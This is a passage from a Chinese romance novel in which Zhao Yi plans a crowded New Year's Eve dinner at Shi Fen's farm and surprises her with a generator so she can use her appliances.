他托人在A市运了一个床垫过来,现在也已经用上了,时枌嘴上不说但晚上睡觉总不老实翻来覆去的,她还小声嘀咕说跟他们家的床不一样,没那么舒服,但运都运回来了,她又不想废那个功夫再挑,赵弋就一直记着,这会儿终于在恰当的时机提了出来,找到了解决办法。
解铃还须系铃人,他妈惯坏的孩子,还是得他妈来擦屁股。
挂了电话赵弋继续规划这个年夜饭。
多亏时枌家里有一张两米多长的长木桌,她之前更换家具也没舍得换下来,再加一张小餐桌,应该坐得下这么多人……吧?
赵弋在脑子里过名单:小队成员五个,看在宋阡的面子上时枌也会邀请张克过来,非年恐怕会不要脸地跟着过来凑热闹,还有白芳很糯糯,这就有十个个人了,他爸妈过来肯定要带保镖跟司机,这就十四个,罗辉一家,十八个,阿奇他们五个……
呵呵,不算不知道,原来有这么多人。
还有些不可控因素,比如跟宋阡同在财务部孤身一人的于姐,再比如跟白芳相熟的老中医,哦对,要不要把林浓也叫上?让唐女士看看她挑人的眼光?
别的不说,赵弋就很期待最后一幕,然后微笑着给林浓发消息,邀请他来农场过年。
林浓很久都没有回复,直到晚上赵弋都洗完澡准备钻被窝了,才收到答复。
林浓:家里要一起吃年夜饭恐怕没空过去,赵指挥放心,您之前让我捎的东西我明天会派人送过去。
赵弋真没有催他的意思,但林浓都这么回复了,他只好勉为其难回了个好的。
放下手表,搂住身边人,低头亲了亲:“我让人帮忙弄了台发电机明天到,虽然不能长时间用,但坚持一个新年应该没问题,到时候你的家电就能派上用场了。”
时枌还以为自己听错了。
“什么东西?”
“发电机。”
“发什么?”
“发电。”
“!!!”
天呐。
时枌都想尖叫。
她还以为要等明年才能用上电,而且还要看发电厂那边的安排,一路通电到她的农场可是项大工程,结果没想到明天就能用上!
“那是不是可以用我的新烤箱了?”
“是的。”
“电冰箱也能用了!”
“不赞成放太多东西,功率可能不够。”
“哦对,那就先用要紧的。”时枌想了想,“新热水器刚装上还没试呢。”
“可以先试试它。”
她腻歪地在人怀里钻来钻去,甜滋滋地亲他:“赵弋你最好了。”
这个“最”字就很得他心。
她是越来越懂他了。
平时家里就两人,也就没什么顾忌,闹到半夜睡觉也是常事,反正被窝里暖和,常常第二天十点之后才醒。
结果没想到,没到年三十,一早上天刚亮就有人敲门。
昨晚收到邀请,秦大厨带上叶枝蔚一早就赶过来了,说要提前备菜。
就算是年夜饭,也没见过提前三天备菜的。